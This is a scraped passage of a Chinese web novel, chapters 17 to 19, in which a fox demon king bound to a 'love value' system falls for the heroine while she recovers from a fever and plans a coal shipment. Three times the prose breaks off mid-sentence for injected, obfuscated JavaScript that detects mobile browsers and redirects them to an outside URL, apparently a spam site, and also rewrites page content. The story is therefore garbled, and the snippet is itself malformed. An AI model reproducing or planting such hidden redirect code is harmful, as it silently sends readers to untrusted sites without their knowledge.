芝兰自顾自玩了一会儿,围着萧蘅转圈,半晌,她开口:“狐狸哥哥,我想好了。” “嗯?”萧蘅带着她往蓟州府方向走去,轻轻一挑眉毛,心中却暗暗叱道:李昭宁真能给自己找麻烦。 “我不恨爷爷了。”她的声音很轻,“恨他,是把他当爷爷。他配不上。” 他偏头看她。 芝兰仰起脸,笑了笑,那笑容里,终于有了点孩子的模样。 “我要学机关术。以后帮姐姐分拣快递。” 萧蘅愣了一瞬,然后笑起来。 “随你的便。” “狐狸哥哥,我还有个问题,不知道能不能问你……” 萧蘅眼皮都不带掀一下:“讲。” “你是不是喜欢姐姐?” ??? 萧蘅僵硬地转过头,失去了表情管理,如同见了幻兽一般无语又震惊:“你说什么?” 他怎么可能喜欢李昭宁?要不是说这话的是芝兰这个可怜楚楚的小姑娘,他肯定一扇子扇上去。 芝兰道:“那狐狸哥哥,我问你几个问题。第一,你是不是特别想见到姐姐。” “她是我债主,见见怎么了?” “第二,你看不到她是不是觉得心发慌,干什么都提不起精神。” 萧蘅不说话了。 “第三,你是不是不喜欢她靠近别的男生。” 萧蘅忽然想到了诸葛兰旌,想到那日他听到县府的人夸李昭宁和诸葛兰旌很般配,天生一对,他确实生了很久的闷气。 这就是喜欢??? 明明是诸葛兰旌把他的功劳都抢走了! 萧蘅不屑地用鼻子吹气,道:“你个小丫头片子,懂这些?” “嗯哼。” “既然狐狸哥哥都不否认,那就说明,狐狸哥哥喜欢蓁蓁姐姐。” “你这丫头!谁让你叫她蓁蓁的,只能我叫……”此话一出,萧蘅倏然顿住。 芝兰捂嘴偷笑:“山有木兮木有枝,心悦君兮君不知。” 萧蘅满脑子不可置否,将锅都甩给了系统,如果不是系统,他…… 等等,差点忘了他的试探! 今晚他务必要用行动来证明一下,他不喜欢李昭宁,全是系统搞的鬼。 17. 我喜欢她?(二) 亥时。 月光比傍晚更浓一些,穿过院中银杏树叶,带着斑驳的光影一同落进李昭宁的房间。 她刚沐浴出来,穿上浴袍走到窗边。今个月亮真亮,不用点灯也能看书。正想着,她拂袖灭了蜡烛,将椅子搬到窗边,靠着窗框翻看最近的帖子,过几日还要去一趟浮玉山运煤矿,有的忙喽。 窗框有些漏风,风带着凉意,吹得她一哆嗦。 她正准备起身穿衣,忽然,月光忽明忽暗,一阵可疑的风四起。她觉得似曾相识,当初上杻阳山时,山上的妖风就是如此。难道,又有妖怪或者幻兽偷跑下山? 她放下书本,起身去角落的柜子上拿佩剑。窗外一团乌云遮住月亮,屋内陷入极夜般的黑。李昭宁一转身,剑刚出鞘,就冷不丁撞上一个又硬又软的“墙壁”。 不对,这墙壁还有温度。 妖? 她扬剑:“受死!” 她的手腕被攥住,力道不重,却足以让她动弹不得,接着又一道沙哑低沉的声音响彻在她耳畔:“蓁蓁。是我。” 哎?只有萧蘅一个人叫她蓁蓁。 “你是萧蘅?”她眼睛适应了黑暗,微微侧头,正巧和俯身在她耳侧的萧蘅对视。 “是我。” 那一双眼睛在黑暗中发着鎏金般的光芒,倒映着她的披头散发的面容,有她,且只有她一个人。 她真觉得萧蘅的眼睛漂亮极了,一双丹凤眼微微上挑,像戏剧里的旦角,眼波流转,一撇一捺都招人稀罕。 萧蘅打了个响指,蜡烛骤然生火,照亮半间屋子。烛火忽明忽暗映在他脸上,线条忽深忽浅,眼睛却一直落在她身上。 她盯着他的眼睛,察觉二人距离很近,疑惑道:“干什么?是小妖们出什么事了吗?” 萧蘅没答,又往前探了半寸。 李昭宁满脸狐疑,却没躲开,也没想着躲,脑子在高速运转,难道是萧蘅受伤了,不好意思说?她低头去握他的手腕,想查看伤势。 萧蘅浑身一僵。 【叮!系统提示:恋值增加99,截至目前一共1384请继续保持!】 ??? 可他还没对李昭宁做什么呢! 怎么就…… 难道真是他喜欢李昭宁? 怎么可能? 他堂堂妖王,怎么可能对这一傻乎乎的人类女子心动?简直荒谬。 既然恋值这么多了,不如试探一下能不能伤了李昭宁。他另一只手伸向身后,正要召唤雪绸白玉扇,李昭宁却拉着他往蜡烛处靠近。 “别动,让我看看。” 萧蘅“唰”地停住动作。如同一只乖巧的小小妖,任李昭宁打量上下。 烛火下,她的脸被镀上一层暖光,许是刚沐浴完的缘故,脸颊还透着淡淡的粉,比白日里少了几分风风火火,多了点……他说不上来的东西。 萧蘅忽然感觉口渴,咽了咽口水。眼神飘忽间,不小心看到了她锁骨的位置,因浴袍有些宽大,松松垮垮被她系在身上,致领口敞开,露出一大片白皙的肌肤,还有一颗小小的痣,隐在锁骨窝里,随着呼吸轻轻起伏。 他瞳孔微微一缩,心跳猛然漏了一拍。 ……不对。 他强迫自己移开眼,却怎么也移不利索。目光像被什么勾住,飘开半寸,又不受控制地飘回来。 【叮!系统提示:恋值增加99,截至目前一共1483请继续保持!!!】 萧蘅:“……” 这什么破系统。 然而下一秒,她却忽然笑了,轻轻拍了拍他的胳膊:“不错嘛,恢复得很好,果然是我给你的药膏起了作用。” 萧蘅看着她的笑容,笑得坦坦荡荡,没半点多余的意思。 她根本不知道刚才发生了什么。或者说,她压根不在乎他,不拿他当一个男人......不对,是男妖看待,更没往那方面想。 李昭宁歪头,借着烛光打量愣神的萧蘅:“最近辛苦你啦。你一定也顶着不少压力吧,在妖王眼皮子底下带小妖下山,还有幻兽、芝兰那些事,都没来得及好好谢谢你。” 萧蘅别过脑袋,冷哼一声:“现在想起来了?” “哎?”李昭宁眨眨眼,“你今天晚上不会是过来邀功的吧?” “……才不是。” “那你来干什么?” 他一时语塞。 “难不成,”她歪着头,笑得眼睛弯起来,“想我了?” 萧蘅突然怔住。 李昭宁是怎么做到的,总是面不改色地说出这种话,让他怎么回答? 然后紧接着,她伸出小手:“你把狐狸尾巴给我摸摸呗。” 萧蘅嘴角一抽。 “哎呀摸摸嘛,又不会少块肉。” 萧蘅扛不住她那双亮晶晶的眼睛,骂骂咧咧地露出了尾巴。 李昭宁一把抱住,靠上去蹭了蹭,毛茸茸的触感让她舒服得闭上眼睛。然后她就开始说正事了:“过几天去浮玉山运煤矿,到时候还得有劳你。” 桌角的书突然掉落在地,发出一声不轻不重的响。他抬眼,目光从李昭宁脸上滑过,落在地上的治理文书上,嘴角扯了扯。 “大晚上还看这个?”他声音不高,俯身为她捡起,在手中掂了两下,然后放在了桌角另一头,距离李昭宁较远的地方。 李昭宁点头:“自然,晚上不忙,正好有时间看看蓟州治理文书,总不能老让诸葛军师忙活吧。” “让他忙又怎样?”萧蘅打断她,站起身,袍角带起一阵微凉的风,“你总是操心这操心那,一直在为蓟州城,为这里的百姓想,你有考虑过自己吗?你这黑眼圈,几天了?” 他站在她面前,垂眼看她。 李昭宁愣了一下,下意识抱紧了他的尾巴。 萧蘅这张脸离得近了,确实也能看出几分不对,一双丹凤眼眸里不再是吊儿郎当的傲娇劲儿,而是多了一丝关心,不是浮在表面上的、虚情假意的伪装,而是真实的。他唇角抿得比平日紧,整个人像是绷紧的弓弦。 “你脸色也不好,身体不舒服?”她说。 “不对,”萧蘅摇头,“是你自己不舒服。” 她皱眉想了想,真没觉得自己有什么不舒服的地方,顶多有一些困,该不会是萧蘅要面子不说,借代她来道出身体不适的真相吧? 难道是他不想和她一起去浮玉山运输煤矿? 她忽然又想起和浮雀送第一订单的时候,萧蘅也是装病不去。 李昭宁的脑子瞬间被拽回了运输浮玉山煤矿一事。 “那既然这样,”她拍拍萧蘅的狐狸尾巴,又慢慢从上到下顺毛,又赤脚起身踩地板,来回踱步,“你这几日好好休息,先暂定我和玄武去浮玉山运送煤矿。” “李昭宁。” 萧蘅的声音从头顶落下来,好像是头一次,他用正经的语气叫她的名字。 她抬头,见他挡在自己面前。 “靴子。”他说,垂着眼,看不清神色,“地上凉。” 李昭宁低头,看见自己光着的脚,哦了一声,绕开他去找靴子。 绕过他身侧时,她听见一声极轻的,像是叹息,又像是冷哼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196080|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没空细想。 “真是麻烦。” 她听背后萧蘅嘀咕这么一句,然后自己忽然被一股力量操控,直直往后飞去,倒在柔软的床榻上。 哎? 萧蘅转过身,上前几步,她又趁机捞起他的尾巴。 烛光落在他半张脸上,明暗交错,看不清神情。只看见他垂在身侧的手,慢慢攥紧,又慢慢松开。 萧蘅眉头紧皱:“你眼里除了煤矿还有别的吗?天天工作工作,烦死了。” “有啊。” “什么?” “妖界速递啊,还有未来小妖们的就业。”她认真道,“总不能一直帮我送快递吧,得给它们找点别的事做。” 萧蘅看着她。 烛火在她眼睛里一跳一跳的,亮得晃人。 “……你。” 他顿了顿,把后半句咽了回去。 算了。 真是个傻姑娘。 * 李昭宁说着说着妖界速递的事情,竟然睡着了。 “……喂?” 萧蘅上前,戳戳她柔软的小脸。没反应。 “呆瓜?” 没反应。 “李昭宁?” 呼吸均匀,睡得很沉。 萧蘅叹了口气,弯腰把她抱起来,让她好好躺在床上睡觉。可她把他尾巴抱得太紧,怎么也松不开。他试着抽了一下,她反而抱得更紧,还往他怀里拱了拱。 他只好就着这个姿势,半弯着腰把她往床里挪。她却一直往外拱,险些掉下床。 好不容易挨到床边,他刚要把她放下,她忽然翻了个身,一带,他便失去平衡,整个人往前扑去,双手堪堪撑在她身侧。 距离太近了。 近到能看清她微微颤动的睫毛,能感受到她温热的呼吸拂在他下颌。 差一点,就亲上了。 他僵在那里,一动不敢动。 睡着的她和醒着时完全不一样。醒着的时候,那双眼睛总是亮亮的,装着数不清的快递、煤矿、小妖、百姓。可睡着了,眉眼都舒展开,安静得不像话。 他不知怎么回事,竟然看入迷了。手指也不受控制,随着目光,轻轻抚摸她的眉心、脸颊...... 很软,像冬日里杻阳山的雪一样。 等回过神,他已经低下头,在她额头上落下一个吻。 李昭宁忽然一动,脑袋往枕头处埋了埋。 【叮!系统提示:恋值增加520,截至目前一共2003!破纪录了!请继续保持!】 系统提示音骤然炸响。 萧蘅猛然坐起。 他盯着床上睡得毫无知觉的人,呼吸乱得不成样子。 他都忘记用闪移,他几乎是撞开门冲出去的。 月光很亮,夜风很凉。 他站在院子里,胸口剧烈起伏。 ……怎么回事? 活了这么多年,从未有过这种感觉。这不对劲。一定是系统。只能是系统。 院外的银杏树叶被风吹的沙沙作响,错落的树叶影子也是,乱乱的,满院皆是。他站在原地,兀自听着地上的光与影交错,半晌没动。 不知过了多久。 他转身走回去,把门轻轻关好。 门缝合上的那一刻,他顿了一下。隔着门板,看着里头那片安静的黑暗。 许久。 他垂下眼,转身离开。 月光把他的影子拉得很长,很长,像他剪不断理还乱的头绪一样,慢慢延伸到房屋的那头,熟睡的姑娘身边去。 18. 我要她无病无灾 诸葛兰旌失眠了。 他披着外衣在院落里踱步,月光把青石板照得发白。他不禁回想起今儿下午的课堂上,狼少爷学得最快,记性好,悟性高,真不愧是雪狼的表弟。 他看着小妖们在这里接受人类的文学知识,听它们磕磕绊绊地念诗,不禁去想,如果雪狼还在,一定也会坐在这院子里,笑嘻嘻地缠在他身边,要他给她读诗念词,要他讲人类那些有趣的故事。 她最爱听这些。 雪狼曾经问过他:“你们人类真奇怪,明明在意,为什么不说?非要烂在肚子里,等来不及了才后悔。” 他当时答不上来。 可那句话问完没多久,她就为了救他,献祭了自己的妖丹。 爱,真是个无解的命题。无论人还是妖,万物齐物,谁也逃不过。 诸葛兰旌停下脚步,从袖中摸出那柄青鸾圣扇。扇骨间夹着一根雪白的狼毛,是她送给他的。说是定情信物。 他常常在想,如果不是自己当年逞能去杻阳山探险,如果不是受伤晕倒在那里,根本不会遇见她,更不会有后来的一切。 他恨她救他。 更恨自己懦弱无能。 雪狼有个愿望,想光明正大地来蓟州城逛一逛,看看人类说的“盛世”到底是什么样子。他一直记得。 这也正是他此番出山的原因。 他在廊下踱步,独自回忆往事。月色清冷,树影斑驳。 忽然,他看见萧蘅慌张地从李昭宁的屋子里冲出来。 脚步凌乱,神色不对。 走了没几步,又折返回去,轻轻把门关好。然后站在门口,一站就是好一会儿。站完了又蹲下,双手抱头,不知是不是在和自己打架。 庭中树影纵横交错,随着晚风晃来晃去,像一张张变幻莫测的皮影戏。 正所谓人生如戏。 可惜,总是在错位的时间遇见有缘之人。 人世间错综复杂的情感,对于妖来说,是堪堪不能理解的。而对于人来说,妖那绵长无垠的寿命,更是不可望及的。 从一开始,就应该错过。 诸葛兰旌早就预料到,萧蘅会有这么一天。 他笑着摇了摇头,在萧蘅回神之前,悄然转身离开。 * 寒潮来得突然。 疲惫半月的李昭宁中招了,一连两天都在发热。 此刻她无力地趴在床榻上,伸出一只瘦弱的胳膊,跟柳条一样慢悠悠晃来晃去:“医师啊,有没有法子让这病延迟啊?我明天还等着去浮玉山呢。” 医师端着药碗,一时语塞。 萧蘅坐在床尾,眉头紧锁:“延迟?你怎么不等你死了再说。” “哎呦,干嘛这么冲,”李昭宁懒洋洋挪一下脑袋,看了萧蘅一眼,“不就是发个烧吗,我没事的。” 然后转头又叹道:“要是有布洛芬就好了。” 萧蘅狐疑:“布洛芬是什么?神药吗?” 李昭宁一下子笑出声:“对对对,神药!吃了一小时之内就退烧,哪儿疼吃一粒也就好了。” 萧蘅点点头,然后起身往外走。 “去哪儿?” “去给你找布洛芬。” 李昭宁一愣,旋即大笑。因为发烧,嗓子不太舒服,笑声沙哑得厉害。她又剧烈地咳嗽起来,若不是医师反应快及时扶着她,药汤就撒了一地。 萧蘅闻声赶了回来,双手抬起来,却不知该往哪儿放,想扶她,又觉得哪里都不合适。僵了片刻,又暗自神伤地收回手。 “……笑什么?” “笑你。”李昭宁咳完,喘着气说,“这个世界没有布洛芬。” 萧蘅眼神微动:“这个世界?” “嗯。”李昭宁接过药碗,仰头喝完,眉头皱成一团。真苦啊。 “若是布洛芬在火山上,在冰河里,你当如何?”她怕说漏嘴,胡编乱造道。 可没想到,萧蘅一脸认真:“这有何难?” “你想要,我去取便是。” 李昭宁一愣,不知是因为烧得糊涂还是他的话。 医师识趣地退下,走到门口又回头嘱咐好几遍:好好休息,不得操劳。 “你听见没?”萧蘅送医师出去,回头道。 却见李昭宁不知从哪儿摸出蓟州文书,又埋头看了起来。 萧蘅几步走过去,一把夺过文书。 “你们人类,为什么不把自己放在心上?” 李昭宁伸手够书:“哎呦,你不懂,发烧只是小病。” “真想把你绑起来。”萧蘅把书举高,不让她够着,“让你看不了书,把你关起来,与世隔绝,看你怎么操心那些无关紧要的人。” 李昭宁闻言,拿枕头打他:“什么意思?谁是无关紧要的人?百姓才不是!百姓是天,是地,是衣食父母......” 她说着,忽然顿住,眼神变得狐疑。 她也在奇怪萧蘅的转变,怎么突然这么关心她了? “你最近怎么了?”她歪头看他,“这么关心我?害怕我重用其他小妖,不要你了?” 萧蘅冷哼一声:“我是那么小气的妖吗?” “切。”李昭宁学他哼了一声,“那你干嘛这样?按之前来说,你这个时候应该,”她话说一半,然后抱着胳膊仰天大笑,“你应该这样,‘哈哈哈’得瑟个不停。” 萧蘅别过脸:“我才没有。” “怎么没有?” 若问缘由,萧蘅也不知道。 他只是不想看着李昭宁忙里忙外不见人影,不想看她顶着黑眼圈到处跑,不想看她日渐消瘦,不想看她总是一脸认真,都不怎么笑了。 是从什么时候开始的呢? 是从昨晚?从东海?还是芝兰那件事?还是更久之前? 还是第一次遇见时,那一双亮得惊人的眼睛,临危不乱又透着倔强的坚定,还有无论何时何地都明媚张扬的笑。 他不知道。 【叮!系统提示:恋值增加1314。截至目前共3317,恭喜再次破纪录!】 【叮!系统提示:因绑定人连续两次破纪录,现发放福利——可满足绑定人一个愿望。】 愿望? 萧蘅一愣。 如果借这次机会解绑“虐恋偿还机制”,不就好了?天助我也。这样一来,他就可以远走高飞,再也不用操心这些破事了。 可耳畔传来李昭宁的咳嗽声。 她咳得弓起了背,却还在嘟囔明天的浮玉山 煤矿运输。 说什么也不肯放弃。 萧蘅的目光落在了房间的香炉上,袅袅白烟升空,又慢慢散去,消失。但是马上,又有新的白烟升空,周而复始,生生不息。 也不知是不是这安神香的作用,他的脑袋也有些倦,不想动脑筋去想除了当下之外的事情。 罢了。 他看了眼李昭宁,微微一叹,这次就先这样吧。 他说:“我要李昭宁无病无灾,平平安安。” 【叮!系统收到绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204849|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定人愿望,正在实现中……】 李昭宁忽然有了很浓的困意。 眼皮沉得抬不起来,她迷迷糊糊往旁边倒,嘴里嘟囔:“狐狸尾巴抱一抱……我睡会儿觉……” 萧蘅嘴角一抽:“……?” “哎呀,我可是个病人。” “……” “好好好。” 他把尾巴放出来,让她抱住。 李昭宁把脸埋进毛茸茸的尾巴里,蹭了蹭,呼吸很快就平稳下来。 萧蘅俯身看着她。 睡颜和那晚一样安静,只是脸颊烧得有些发红,眉头微微蹙着,像在梦里也在操心什么事。 他轻轻抬手,想碰一碰她的额头,又在半空停住。 算了。 快好起来吧。 他把手收回来,就那么趴在床边守着。 李昭宁做了个梦。 梦里系统又回来了,变成一团白白的云朵,围着她飞来飞去。 她质问系统这几日为什么消失,系统不回答。 于是她向系统求布洛芬。 系统却说:“我这里有比布洛芬更好用的东西。” “是什么?” “你睁开眼看看就知道了。” 那朵云忽然钻进她的身体。她感觉一股暖意从胸口散开,流向四肢百骸,整个人像被轻轻托了起来。 再睁眼,天已经亮了。 阳光透过窗棂洒进来,暖洋洋的。 她觉得自己一身轻松,烧退了,头也不疼了,整个人像脱胎换骨。 然后她睁开眼睛,第一眼就看见了萧蘅。 他趴在床边,脸埋在胳膊里,睡得很沉。一只手垂在她手边,手指轻轻挨着她的,没有用力,就那么搭着。 阳光落在他玄紫色的头发上,泛着柔和的光。 门外突然传来细细簌簌的声音。 李昭宁抬头望去,浮雀、玄武,还有几只小妖挤在门口,芝兰站在最前面,手里提着一个篮子。 芝兰一副“看破不说破”的表情,举了举篮子,示意里面有饭菜。然后她转身,带着小妖们离开。 几只小妖不甘心,小爪子攀上窗台,用脑袋挤开窗户,探头往里瞧。 芝兰回头,挨个敲脑袋,把食指竖在嘴巴前。 “嘘——” 然后是一阵压低的“嘘嘘”声,和小妖们哎呦哎呦的噗嗤声。 李昭宁忍不住笑了。 这些小妖,真是的。 她撑起身,双手托着下巴,盯着萧蘅看。 他的头发离近了看更有意思,远看是黑色,近看却是深紫色,隐隐泛着光泽。明明是一只白狐狸,人形态的头发怎么是这个颜色? 好奇。 她伸出手,轻轻摸了摸他的脑袋。 耳朵应该就在这附近吧?她记得他耳朵的位置…… 萧蘅忽然动了动。 眉头皱了皱,手下意识往旁边一挪。 握住了她的手。 李昭宁一愣。 他的手很暖,掌心干燥,包裹着她的手,不紧,却稳稳的。 “萧蘅?” 他没动。 呼吸依旧平稳,像还在睡。但握着她的手,没有松开。 阳光慢慢移过来,落在两人交叠的手上。 李昭宁看着那只手,又看着他埋在胳膊里的侧脸,忽然觉得有什么东西,不太一样了。 窗外,传来浮雀极轻的一声“啾”。 像是在笑。 19. 我要和你一起 李昭宁盯着那只手看了三秒。 她轻轻动了动手指,想抽出来。结果刚一动,萧蘅的眉头就皱了一下,手反而握得更紧了。 李昭宁:“……” 行吧。 她没再动,就那么躺着,盯着天花板发呆。脑子里开始自动运转:浮玉山煤矿的事不能再拖了,今天得去城东确认运输箱的进度,还得找诸葛军师确认路线,还有…… “醒了?” 低沉的声音从床边传来,带着刚睡醒的沙哑。 李昭宁转头,对上萧蘅那双刚睁开的眼睛。他看起来还没完全清醒,眼神有些涣散,但就那么看着她,没松手,也没说话。 清晨的日光从窗棂漏进来,落在他脸上。近看他的头发果然是玄紫色的,发丝间有细碎的光在流转。 李昭宁忽然想起昨晚迷迷糊糊时摸他脑袋的事。 她轻咳一声:“醒了。你可以松手了。” 萧蘅这才低头看了一眼两人交握的手。 他愣了一瞬,然后像被烫到一样猛地松开,坐直身子,别过脸去。 “……忘了。” 李昭宁看着他发红的耳尖,忍不住笑了一声。 “笑什么?” “没什么。”她撑起身,活动了一下手腕,“就是觉得,你昨晚还挺乖的,守了一夜?” 萧蘅冷哼一声:“怕你死了,蓟州没人干活。” “哦——”李昭宁拖长声音,“原来如此。” 萧蘅听出她话里有话,转过头想反驳,却对上她亮晶晶的眼睛。刚病愈的人脸色还有些苍白,但眼睛恢复了神采,弯弯的,带着笑意。 他忽然说不出话了。 【叮!系统提示:恋值增加99.截至目前共3416,请继续保持】 萧蘅:…… 这破系统,能不能别在这种时候响。 李昭宁当然没听见系统的声音,她已经掀开被子下床,走到窗边伸了个懒腰。阳光落在她身上,把内袍照得有些透。 萧蘅目光一扫,又迅速移开。 “你……换身衣服。”他起身往外走,“我去给你找吃的。” “哎?”李昭宁回头,“我不饿,咱们直接去文老那里吧,拿到运输箱直接启程去浮玉山。” “病刚好就往外跑,你是不想活了?” 萧蘅已经走到门口,头也不回,语气硬邦邦的:“等着。” 门帘一掀,人没影了。 李昭宁站在原地,眨了眨眼。她没搞懂萧蘅这是什么意思,换了身便装也想推门出去,却发现门像一堵墙,怎么也推不开。 …… 萧蘅这是又闹哪一出? 李昭宁试图破窗,窗也是封锁的。 她没辙,在屋里转悠一圈,一边寻思等着偷偷在哪里开个小洞,避免今天这种情况的发生,一边呢,她打开芝兰送的食盒,准备吃饭。也正巧,萧蘅回来了,手里端着一碗粥、几个热气腾腾的包子。 萧蘅看着李昭宁桌子上摆的兔子形状的糕点,又看看自己手里的包子。 李昭宁扑哧一声笑出声,亮了亮手中的糕点:“原来狐狸大人为我买早餐了呀。真可惜,我有芝兰亲自制作的爱心早餐。” 萧蘅脸色变黑了。 这还是他亲自排队买的早饭呢! 他没说话,冷着脸在她对面坐下,把包子和粥都推到她面前,抱着胳膊看着她,一副“你不吃完别想出门”的架势。 李昭宁:…… 她看着他那副别扭的样子,忽然福至心灵。 她放下勺子,托着下巴看他:“萧蘅。” “嗯?” “你昨晚守了我一夜,对吧?” 萧蘅别过脸,耳朵闪过一丝可疑的红:“都说了是怕你死了。” “好好好,怕我死了。”李昭宁打断他,笑得眼睛弯弯的,故意逗他,“那你能不能解释一下,为什么你守夜要握着我的手?” 萧蘅僵住。房门因他回来的仓促没有关严,一阵风吹过,将一扇门页推开,吱呀吱呀响个不停,却还是没盖过他扑通扑通的心跳声。 李昭宁感觉自己很久没有吹过风了似的,只觉得舒适,然而下一秒,房门自动关上了。她知道,是萧蘅干的。 门不会自己响,除非有人或者有风推它,而人或者是妖,不可能没有目的的对一个人好。她联想起萧蘅最近的迷惑行为,又笑出了声。 空气安静了三秒。只有外面的阵阵清风敲打门页,似乎在抗议什么。 萧蘅被她盯得浑身不自在,猛地站起来,椅子差点被带倒。 “……我去看看浮雀它们。” * 李昭宁到达城东的时候,发现萧蘅也在。 他什么时候这么勤快过了? 萧蘅和文老正在调试那台分拣机,前者顺着机关注射妖力,保证其不受外界干扰,长久不衰,后者东一头瞧西一头看,生怕出了什么差错坏了机器,一转头的功夫看见了李昭宁,眉头一皱:“病好了?” “那当然好了,小小发烧还能难住我?”李昭宁凑过去,“运输箱进度怎么样?诸葛军师跟我说得拖一天?” 哼了一声:“你眼里就只有活儿。” “那是那是。” “箱子好了,自己看。” 李昭宁跟着老头往后院走,走了两步,回头发现萧蘅没跟上来。他站在前院那台分拣机旁边,盯着齿轮看,不知道在想什么。 “萧蘅?” 他抬头,对上她的目光。 “愣着干嘛,走啊。” 萧蘅顿了一下,抬脚跟上去。 后院摆着十个新做好的运输箱。这箱子不大,李昭宁感觉装几斤鸡蛋都不够,可文老晃着食指,一副高深莫测的样子:“我考虑到浮玉山地势险峻,你们拉那么大的箱子运煤肯定不行,正当我绞尽脑汁寻思方法时,萧公子出现了,他说做小箱子就行,届时他往力注力。” “就像现在,看着小,但里面空间很大,一次能装两百斤煤。” “嚯!麻雀虽小五脏俱全啊。” 李昭宁蹲下来,仔细检查箱子的边角,给文老竖起一个大拇指:“不愧是您!”然后又转头给萧蘅点赞。 她又忽然发现箱子的扣锁也与众不同,问道:“这个扣锁……” “墨家机关扣,不用锁头,合上就自动卡死。想打开得有专门的手法,外人偷不走。” “好嘞!辛苦您了”她眼睛一亮,索性蹲在那儿,跟老头絮絮叨叨说了一堆细节。 萧蘅站在旁边,一直没说话。 今日阳光明媚,穿透云层直直射下,风起沧浪,裹挟着秋季的凉意,托起李昭宁高高束起的高马尾,像一条流淌人世间滋润自然万物的大河。他不知为何,想脱下外衣为她披上,怕她着凉。 最终,他侧身站在风口处,只是静静地看着她。 看她眉飞色舞地比划,看她蹲久了腿麻站起来跺脚,看她被老头怼了也不生气,笑嘻嘻地继续问。 阳光依旧落在她身上。 她眼下还有一点没褪干净的乌青,明明刚大病一场,但整个人像上了发条一样,精神头足得很。 【叮!系统提示:恋值增加520.截至目前一共3936,请继续保持……】 萧蘅:…… 够了。 * 回去的路上,李昭宁一直在说明天的安排:什么时候出发、走哪条路、谁押运、谁留守。 萧蘅走在她旁边,听着,偶尔“嗯”一声。 风从田野那边吹过来,带着麦秸和泥土的气息。太阳将要退场,挂在山头,把整条路都染成暖橙色。两人的影子拖在身后,从最初相隔几步,一前一后,到慢慢靠近,最后并肩而行。 影子叠在一起的时候,萧蘅低头看了一眼。 然后移开目光。 “……然后到了那边,得先跟矿头对接,这批煤是急用的,不能耽误。哎,你在听吗?” “在听。” “那我刚才说什么了?” 萧蘅看她一眼:“跟矿头对接,煤不能耽误。” 李昭宁愣了一下,继续看向远方,然后笑起来:“还真在听啊。” 萧蘅没说话。 他只是看着她的影子。看了一会儿,忽然开口:“明天我跟你去。” 李昭宁转头:“什么?” “浮玉山。”萧蘅别过脸,“我跟你去。” “不用吧,就运个煤。” “你病刚好。” “病好了啊。” “万一路上又发热呢?” “不会的。” “我说去就去。” 李昭宁噎住。她看着萧蘅那张面无表情的脸,忽然有点想笑。这人怎么回事,明明是在关心人,非要用这种命令的语气。 她想了想,没再拒绝:“行吧,那你来。” 两人又走了一会儿。夕阳更低了,把天边烧成一片橘红。 李昭宁忽然放慢脚步,侧过头看他。 “萧蘅。” “……又怎么了?” 她眼睛弯弯的,笑得像只狐狸:“谢谢你啊。” 萧蘅脚步一顿。 “……谢什么?” “昨晚守着我,刚才陪我跑城东,明天还要陪我去浮玉山。”她笑着,语气很轻,又拍了拍他的肩头,“辛苦你啦。” 萧蘅张了张嘴,没说出话来。他只是目光下移,看了眼自己的肩头,那只手刚刚拍过的地方。然后又抬头,看着她被夕阳照得发亮的脸,看着她眼里的笑意。 心跳忽然漏了一拍。 【叮!系统提示:恋值增加520。截至目前4456。请继续保持!】 萧蘅:…… 够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209173|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。真的够了。 他移开目光,加快脚步往前走。 李昭宁在后面喊:“哎你走那么快干嘛?” 他没回头。 但嘴角,微微弯了一下。 夕阳无限好。将两人一大一小的影子无限拉长,长到在某一刻,你中有我,我中有你。 影子叠在一起的地方,像是再也不会分开。 * 傍晚。 李昭宁在屋里收拾明天要带的东西,忽然听到窗外有动静。她抬头,看见芝兰带着几只小妖趴在窗台上,探头探脑往里看。 “你们干嘛?” 芝兰眨眨眼:“姐姐,明天我们也能去吗?” “去浮玉山?” “嗯!我们想帮忙!” 李昭宁正要开口,忽然听到另一道声音从窗外传来:“不行。” 萧蘅不知道什么时候出现在院子门口,抱着胳膊,面无表情。 小妖们吓得缩脖子。 芝兰却不怕他,歪头问:“为什么不行?” “太危险。” “可是我们都学会了好多东西。”金刚探出脑袋,“我学会了扫堂腿!” “我也会!”阿蛟跟着起哄,旋即跟金刚一起甩着尾巴。 玄武在最后悠悠踱步,满脸得瑟:“我可是姐姐钦点的快递员哦。” 萧蘅眉头一皱,正要说话,李昭宁从屋里走出来。 “好了好了。”她拍拍手,“那就一起去吧。” “真的?” “真的。不过,”李昭宁竖起一根手指,“去了要守规矩,不许乱跑,不许惹事,遇到危险要先保护自己。” “好哎!”小妖们振臂呐喊,你追我赶地散了。欢笑声渐渐远去,只留下夜晚的风,细细簌簌地吹着院中的银杏叶。 萧蘅还站在院子里,没走。 李昭宁走过去,在他旁边站定。 “你对它们倒是挺有耐心。” 